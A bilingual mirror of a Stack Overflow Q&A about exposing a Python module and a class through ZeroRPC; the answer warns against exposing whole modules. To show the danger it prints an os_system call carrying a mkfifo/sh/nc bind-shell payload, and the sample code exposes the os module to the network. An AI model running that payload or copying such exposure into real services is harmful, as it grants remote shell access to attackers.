简体   繁体   English

ZeroRPC:如何公开一个模块

[英]ZeroRPC: How to expose a module

I'm new with ZeroRPC, 我是ZeroRPC的新手,

I want to expose a class and a module, so I actually have 2 questions: 1. What is the best way to expose a module? 我想公开一个类和一个模块,所以实际上我有两个问题:1.公开一个模块的最佳方法是什么? I tried something like: 我尝试了类似的东西:

import zerorpc

server_obj = __import__("os")
s = zerorpc.Server(server_obj)
s.bind("tcp://0.0.0.0:4242")
s.run()
  1. Now, If i want to expose HelloRPC() class as well, how do I do it? 现在,如果我也想公开HelloRPC()类,该怎么办?

Thanks 谢谢

I am against exposing a module directly. 我反对直接公开模块。 It makes it too easy to expose more than what you want (either now or in the future if anything is added in the module). 它使公开比您想要的更多的东西变得太容易了(如果在模块中添加了任何东西,现在或将来)。

Additionally, only python type that are "naturally serializable" by msgpack will work in arguments and return type of any functions. 此外,只有msgpack可以“自然序列化”的python类型才能在参数中使用,并返回任何函数的类型。

Base on my sole opinion and experience, it is better to create a dedicated class to expose only what you need, with a clean and documented interface. 根据我的独到见解和经验,最好创建一个专门的类,以仅提供您所需的内容,并提供一个干净且有文档的界面。

To answer to your question though: yes, what you did is the correct way to expose a module. 但是要回答您的问题:是的,您所做的是公开模块的正确方法。

One zerorpc.Server can exposes only one object at a time. 一个zerorpc.Server一次只能公开一个对象。 You can of course run many zerorpc.Server in the same process (on different ports though): 您当然可以在同一进程中运行许多zerorpc.Server(尽管在不同的端口上):

s1 = zerorpc.Server(objectA)
s1.bind("tcp://0.0.0.0:4242")
s2 = zerorpc.Server(objectB)
s2.bind("tcp://0.0.0.0:8686")

gevent.spawn(s1.run)
s2.run()

Instead of an object, you can provide a dict of functions to expose. 您可以提供一个函数公开来代替对象,而不是对象。 With a little bit of introspection, you can do some magic (albeit I do not recommend, since again, you can expose too much things by mistake): 进行一点自省,您可以做一些魔术(尽管我不建议这样做,因为您可能会错误地暴露太多东西):

import zerorpc
import os

# extract any public callable.
def extract_all_the_functions(obj, prefix):
  all_the_things = ((k, getattr(obj, k)) for k in dir(obj))
  return { prefix + k: f for k, f in all_the_things
           if not k.startswith('_') and callable(f) }

class MyObject(object):
  def add(self, a, b):
    return a + b

funcs = extract_all_the_functions(os, 'os_')
funcs.update(extract_all_the_functions(MyObject(), 'myobj_'))
s = zerorpc.Server(funcs)
s.bind('tcp://127.0.0.1:4242')
s.run()

Then you can use it and do bad stuff already: 然后,您可以使用它并做坏事了:

$ zerorpc tcp://127.0.0.1:4242 myobj_add 1 2
connecting to "tcp://127.0.0.1:4242"
'12'

$ zerorpc tcp://127.0.0.1:4242 os_listdir /proc/self/task
connecting to "tcp://127.0.0.1:4242"
['4100', '4106', '4107']

$ zerorpc tcp://127.0.0.1:4242 os_system '(mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 1337 > /tmp/f)&'
# Yeah... exposing too much is quickly dangerous.

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM